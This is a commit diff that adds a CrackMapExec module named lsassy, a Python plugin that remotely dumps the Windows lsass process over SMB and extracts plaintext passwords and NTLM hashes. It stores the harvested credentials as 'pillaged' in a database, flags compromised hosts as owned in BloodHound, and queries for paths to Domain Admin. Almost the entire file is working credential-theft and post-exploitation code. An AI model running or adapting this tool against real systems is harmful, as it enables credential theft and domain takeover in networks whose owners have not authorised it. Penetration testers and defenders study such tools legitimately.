commit
b3dd37da8c
|
@ -0,0 +1,258 @@
|
||||||
|
# Author:
|
||||||
|
# Romain Bentz (pixis - @hackanddo)
|
||||||
|
# Website:
|
||||||
|
# https://beta.hackndo.com [FR]
|
||||||
|
# https://en.hackndo.com [EN]
|
||||||
|
|
||||||
|
import json
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
|
||||||
|
from lsassy import Lsassy, Logger, Dumper, Parser, Writer
|
||||||
|
|
||||||
|
|
||||||
|
class CMEModule:
|
||||||
|
name = 'lsassy'
|
||||||
|
description = "Dump lsass and parse the result remotely with lsassy"
|
||||||
|
supported_protocols = ['smb']
|
||||||
|
opsec_safe = True
|
||||||
|
multiple_hosts = True
|
||||||
|
|
||||||
|
def options(self, context, module_options):
|
||||||
|
"""
|
||||||
|
METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details
|
||||||
|
REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
|
||||||
|
PROCDUMP_PATH Path to procdump on attacker host (Required for method 2)
|
||||||
|
DUMPERT_PATH Path to procdump on attacker host (Required for method 5)
|
||||||
|
BLOODHOUND Enable Bloodhound integration (default: false)
|
||||||
|
NEO4JURI URI for Neo4j database (default: 127.0.0.1)
|
||||||
|
NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
|
||||||
|
NEO4JUSER Username for Neo4j database (default: 'neo4j')
|
||||||
|
NEO4JPASS Password for Neo4j database (default: 'neo4j')
|
||||||
|
WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
|
||||||
|
"""
|
||||||
|
|
||||||
|
self.method = False
|
||||||
|
self.remote_lsass_dump = False
|
||||||
|
self.procdump_path = False
|
||||||
|
self.dumpert_path = False
|
||||||
|
|
||||||
|
if 'METHOD' in module_options:
|
||||||
|
self.method = module_options['METHOD']
|
||||||
|
|
||||||
|
if 'REMOTE_LSASS_DUMP' in module_options:
|
||||||
|
self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP']
|
||||||
|
|
||||||
|
if 'PROCDUMP_PATH' in module_options:
|
||||||
|
self.procdump_path = module_options['PROCDUMP_PATH']
|
||||||
|
|
||||||
|
if 'DUMPERT_PATH' in module_options:
|
||||||
|
self.dumpert_path = module_options['DUMPERT_PATH']
|
||||||
|
|
||||||
|
self.bloodhound = False
|
||||||
|
self.neo4j_URI = "127.0.0.1"
|
||||||
|
self.neo4j_Port = "7687"
|
||||||
|
self.neo4j_user = "neo4j"
|
||||||
|
self.neo4j_pass = "neo4j"
|
||||||
|
self.without_edges = ""
|
||||||
|
|
||||||
|
if module_options and 'BLOODHOUND' in module_options:
|
||||||
|
self.bloodhound = module_options['BLOODHOUND']
|
||||||
|
if module_options and 'NEO4JURI' in module_options:
|
||||||
|
self.neo4j_URI = module_options['NEO4JURI']
|
||||||
|
if module_options and 'NEO4JPORT' in module_options:
|
||||||
|
self.neo4j_Port = module_options['NEO4JPORT']
|
||||||
|
if module_options and 'NEO4JUSER' in module_options:
|
||||||
|
self.neo4j_user = module_options['NEO4JUSER']
|
||||||
|
if module_options and 'NEO4JPASS' in module_options:
|
||||||
|
self.neo4j_pass = module_options['NEO4JPASS']
|
||||||
|
if module_options and 'WITHOUT_EDGES' in module_options:
|
||||||
|
self.without_edges = module_options['WITHOUT_EDGES']
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection):
|
||||||
|
if self.bloodhound:
|
||||||
|
self.set_as_owned(context, connection)
|
||||||
|
|
||||||
|
"""
|
||||||
|
Since lsassy is py3.6+ and CME is still py2, lsassy cannot be
|
||||||
|
imported. For this reason, connection information must be sent to lsassy
|
||||||
|
so it can create a new connection.
|
||||||
|
|
||||||
|
When CME is py3.6 compatible, CME connection object will be reused.
|
||||||
|
"""
|
||||||
|
domain_name = connection.domain
|
||||||
|
username = connection.username
|
||||||
|
password = getattr(connection, "password", "")
|
||||||
|
lmhash = getattr(connection, "lmhash", "")
|
||||||
|
nthash = getattr(connection, "nthash", "")
|
||||||
|
|
||||||
|
password = "" if password is None else password
|
||||||
|
lmhash = "" if lmhash is None else lmhash
|
||||||
|
nthash = "" if nthash is None else nthash
|
||||||
|
|
||||||
|
host = connection.host
|
||||||
|
|
||||||
|
log_options = Logger.Options()
|
||||||
|
dump_options = Dumper.Options()
|
||||||
|
parse_options = Parser.Options()
|
||||||
|
write_option = Writer.Options(format="json", quiet=True)
|
||||||
|
|
||||||
|
if self.method:
|
||||||
|
dump_options.method = int(self.method)
|
||||||
|
|
||||||
|
if self.remote_lsass_dump:
|
||||||
|
dump_options.dumpname = self.remote_lsass_dump
|
||||||
|
|
||||||
|
if self.procdump_path:
|
||||||
|
dump_options.procdump_path = self.procdump_path
|
||||||
|
|
||||||
|
if self.dumpert_path:
|
||||||
|
dump_options.dumpert_path = self.dumpert_path
|
||||||
|
|
||||||
|
lsassy = Lsassy(
|
||||||
|
hostname=host,
|
||||||
|
username=username,
|
||||||
|
domain=domain_name,
|
||||||
|
password=password,
|
||||||
|
lmhash=lmhash,
|
||||||
|
nthash=nthash,
|
||||||
|
log_options=log_options,
|
||||||
|
dump_options=dump_options,
|
||||||
|
parse_options=parse_options,
|
||||||
|
write_options=write_option
|
||||||
|
)
|
||||||
|
credentials = lsassy.get_credentials()
|
||||||
|
|
||||||
|
if not credentials['success']:
|
||||||
|
context.log.error(credentials['error_msg'])
|
||||||
|
if context.verbose and credentials['error_exception']:
|
||||||
|
context.log.error(credentials['error_exception'])
|
||||||
|
else:
|
||||||
|
self.process_credentials(context, connection, credentials["credentials"])
|
||||||
|
|
||||||
|
|
||||||
|
def process_credentials(self, context, connection, credentials):
|
||||||
|
for domain, creds in json.loads(credentials).items():
|
||||||
|
for username, passwords in creds.items():
|
||||||
|
for password in passwords:
|
||||||
|
plain = password["password"]
|
||||||
|
lmhash = password["lmhash"]
|
||||||
|
nthash = password["nthash"]
|
||||||
|
self.save_credentials(context, connection, domain, username, plain, lmhash, nthash)
|
||||||
|
self.print_credentials(context, connection, domain, username, plain, lmhash, nthash)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
|
||||||
|
host_id = context.db.get_computers(connection.host)[0][0]
|
||||||
|
if password is not None:
|
||||||
|
credential_type = 'plaintext'
|
||||||
|
else:
|
||||||
|
credential_type = 'hash'
|
||||||
|
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
|
||||||
|
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
|
||||||
|
|
||||||
|
def print_credentials(self, context, connection, domain, username, password, lmhash, nthash):
|
||||||
|
if password is None:
|
||||||
|
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
|
||||||
|
output = "%s\\%s %s" % (domain, username, password)
|
||||||
|
if self.bloodhound and self.bloodhound_analysis(context, connection, username):
|
||||||
|
output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow
|
||||||
|
context.log.highlight(output)
|
||||||
|
|
||||||
|
def set_as_owned(self, context, connection):
|
||||||
|
try:
|
||||||
|
from neo4j.v1 import GraphDatabase
|
||||||
|
except:
|
||||||
|
from neo4j import GraphDatabase
|
||||||
|
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||||
|
host_fqdn = (connection.hostname + "." + connection.domain).upper()
|
||||||
|
uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
|
||||||
|
|
||||||
|
try:
|
||||||
|
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
|
||||||
|
except AuthError as e:
|
||||||
|
context.log.error(
|
||||||
|
"Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
|
||||||
|
sys.exit()
|
||||||
|
except ServiceUnavailable as e:
|
||||||
|
context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
|
||||||
|
sys.exit()
|
||||||
|
except Exception as e:
|
||||||
|
context.log.error("Unexpected error with Neo4J")
|
||||||
|
context.log.debug("Error : ".format(str(e)))
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
with driver.session() as session:
|
||||||
|
with session.begin_transaction() as tx:
|
||||||
|
result = tx.run(
|
||||||
|
"MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
|
||||||
|
if len(result.value()) > 0:
|
||||||
|
context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
|
||||||
|
else:
|
||||||
|
context.log.error(
|
||||||
|
"Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn))
|
||||||
|
driver.close()
|
||||||
|
|
||||||
|
def bloodhound_analysis(self, context, connection, username):
|
||||||
|
try:
|
||||||
|
from neo4j.v1 import GraphDatabase
|
||||||
|
except:
|
||||||
|
from neo4j import GraphDatabase
|
||||||
|
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||||
|
username = (username + "@" + connection.domain).upper().replace("\\", "\\\\")
|
||||||
|
uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
|
||||||
|
|
||||||
|
try:
|
||||||
|
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
|
||||||
|
except AuthError as e:
|
||||||
|
context.log.error(
|
||||||
|
"Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
|
||||||
|
return False
|
||||||
|
except ServiceUnavailable as e:
|
||||||
|
context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
context.log.error("Unexpected error with Neo4J")
|
||||||
|
context.log.debug("Error : ".format(str(e)))
|
||||||
|
return False
|
||||||
|
|
||||||
|
edges = [
|
||||||
|
"MemberOf",
|
||||||
|
"HasSession",
|
||||||
|
"AdminTo",
|
||||||
|
"AllExtendedRights",
|
||||||
|
"AddMember",
|
||||||
|
"ForceChangePassword",
|
||||||
|
"GenericAll",
|
||||||
|
"GenericWrite",
|
||||||
|
"Owns",
|
||||||
|
"WriteDacl",
|
||||||
|
"WriteOwner",
|
||||||
|
"CanRDP",
|
||||||
|
"ExecuteDCOM",
|
||||||
|
"AllowedToDelegate",
|
||||||
|
"ReadLAPSPassword",
|
||||||
|
"Contains",
|
||||||
|
"GpLink",
|
||||||
|
"AddAllowedToAct",
|
||||||
|
"AllowedToAct",
|
||||||
|
"SQLAdmin"
|
||||||
|
]
|
||||||
|
# Remove blacklisted edges
|
||||||
|
without_edges = [e.lower() for e in self.without_edges.split(",")]
|
||||||
|
effective_edges = [edge for edge in edges if edge.lower() not in without_edges]
|
||||||
|
|
||||||
|
with driver.session() as session:
|
||||||
|
with session.begin_transaction() as tx:
|
||||||
|
query = """
|
||||||
|
MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m))
|
||||||
|
WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512"
|
||||||
|
RETURN COUNT(p) AS pathNb
|
||||||
|
""".format(username, '|'.join(effective_edges))
|
||||||
|
|
||||||
|
context.log.debug("Query : {}".format(query))
|
||||||
|
result = tx.run(query)
|
||||||
|
driver.close()
|
||||||
|
return result.value()[0] > 0
|
Loading…
Reference in New Issue